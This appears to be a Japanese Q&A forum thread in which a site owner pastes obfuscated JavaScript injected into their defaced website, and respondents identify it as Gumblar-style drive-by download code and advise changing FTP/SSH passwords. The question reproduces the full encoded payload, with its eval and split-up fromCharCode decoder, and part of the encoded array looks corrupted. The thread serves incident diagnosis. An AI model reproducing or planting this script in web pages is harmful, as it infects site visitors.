サイトが改竄されました。詳しい方教えてく

質問

サイトが改竄されて下記の文字を埋め込まれました、
ウイルスでしょうか、
詳しい方いましたら教えてください。
宜しくお願いします。

<div class="art-ico"><img src="./img/p.gif"></div><!--d68107--><!--<script type="text/javascript" language="javascript" >-->r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,164,200,177,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,164,200,177,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,,163,166,171,47,104,47,56,75,100,76,56,102,24,21,47,164,200,177,65,172,173,200,163,154,65,157,154,160,156,157,173,47,104,47,56,75,100,76,167,177,56,102,24,21,47,164,200,177,65,172,173,200,163,154,65,176,160,153,173,157,47,104,47,56,75,100,76,167,177,56,102,24,21,47,164,200,177,65,172,173,200,163,154,65,163,154,155,173,47,104,47,56,70,67,67,67,75,100,76,56,102,24,21,47,164,200,177,65,172,173,200,163,154,65,173,166,167,47,104,47,56,70,67,67,67,75,100,76,56,102,24,21,24,21,47,160,155,47,57,50,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,164,200,177,56,60,60,47,202,24,21,47,153,166,152,174,164,154,165,173,65,176,171,160,173,154,57,56,103,167,47,160,153,104,143,56,164,200,177,143,56,47,152,163,150,172,172,104,143,56,164,200,177,67,100,143,56,47,105,103,66,167,105,56,60,102,24,21,47,153,166,152,174,164,154,165,173,65,156,154,173,114,163,154,164,154,165,173,111,200,120,153,57,56,164,200,177,56,60,65,150,167,167,154,165,153,112,157,160,163,153,57,164,200,177,60,102,24,21,47,204,24,21,204,24,21,155,174,165,152,173,160,166,165,47,132,154,173,112,166,166,162,160,154,57,152,166,166,162,160,154,125,150,164,154,63,152,166,166,162,160,154,135,150,163,174,154,63,165,113,150,200,172,63,167,150,173,157,60,47,202,24,21,47,175,150,171,47,173,166,153,150,200,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,175,150,171,47,154,177,167,160,171,154,47,104,47,165,154,176,47,113,150,173,154,57,60,102,24,21,47,160,155,47,57,165,113,150,200,172,104,104,165,174,163,163,47,203,203,47,165,113,150,200,172,104,104,67,60,47,165,113,150,200,172,104,70,102,24,21,47,154,177,167,160,171,154,65,172,154,173,133,160,164,154,57,173,166,153,150,200,65,156,154,173,133,160,164,154,57,60,47,62,47,72,75,67,67,67,67,67,61,71,73,61,165,113,150,200,172,60,102,24,21,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,47,104,47,152,166,166,162,160,154,125,150,164,154,62,51,104,51,62,154,172,152,150,167,154,57,152,166,166,162,160,154,135,150,163,174,154,60,24,21,47,62,47,51,102,154,177,167,160,171,154,172,104,51,47,62,47,154,177,167,160,171,154,65,173,166,116,124,133,132,173,171,160,165,156,57,60,47,62,47,57,57,167,150,173,157,60,47,106,47,51,102,47,167,150,173,157,104,51,47,62,47,167,150,173,157,47,101,47,51,51,60,102,24,21,204,24,21,155,174,165,152,173,160,166,165,47,116,154,173,112,166,166,162,160,154,57,47,165,150,164,154,47,60,47,202,24,21,47,175,150,171,47,172,173,150,171,173,47,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,160,165,153,154,177,126,155,57,47,165,150,164,154,47,62,47,51,104,51,47,60,102,24,21,47,175,150,171,47,163,154,165,47,104,47,172,173,150,171,173,47,62,47,165,150,164,154,65,163,154,165,156,173,157,47,62,47,70,102,24,21,47,160,155,47,57,47,57,47,50,172,173,150,171,173,47,60,47,55,55,24,21,47,57,47,165,150,164,154,47,50,104,47,153,166,152,174,164,154,165,173,65,152,166,166,162,160,154,65,172,174,151,172,173,171,160,165,156,57,47,67,63,4.split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));</script><!--/d68107-->

回答No.3

SeydaNeen

Gumblar系にやられたと思うのですが。
それの対策を行ってください。まあ基本的なことですけど。
FTPやSSHのパスワードを取られた可能性がありますから、変更すべきでしょうね。

回答No.2

coai

ウィルスそのものではないでしょうが、ドライブバイダウンロードの攻撃コードだと思います。

その数字列はおそらく攻撃コードを変換したものだと思います。
いわゆる難読化で、ウィルス対策ソフトのチェックをすり抜けようという意図だと考えられます。

ちゃんと解析すれば「思います」じゃなくて断言できるかも知れませんが、面倒なので割愛。
fromCharCodeを"fr"+"omCh"+"arCo"+"de"と、これも難読化してるって事だけでも、ほぼ100%攻撃コードであると考えて良いはずなので。

ま、ウィルスそのものであると考えても、さほど大きな間違いではないと思います。

ちなみに少なくとも数字列部分は一部だけでも省略した方が良かったですね。
もし、この質問を読んで試しにこれが書かれたファイルをブラウザで読みこんだ人がいれば、ウィルスを招き入れてしまう事になるかも知れませんので。

お礼

ありがとうごさいました。

回答No.1

web2525

提示されたコードで検索して検索結果に表示される幾つかのサイトにアクセスすると

セキュリティソフトからのメッセージ
【マルウエアーを検出】
と表示されました

セキュリティソフトによるブロックが聞いているためどんな動作をしているのかは不明ですが
多分に危険な臭がしますね

お礼

ありがとうごさいました。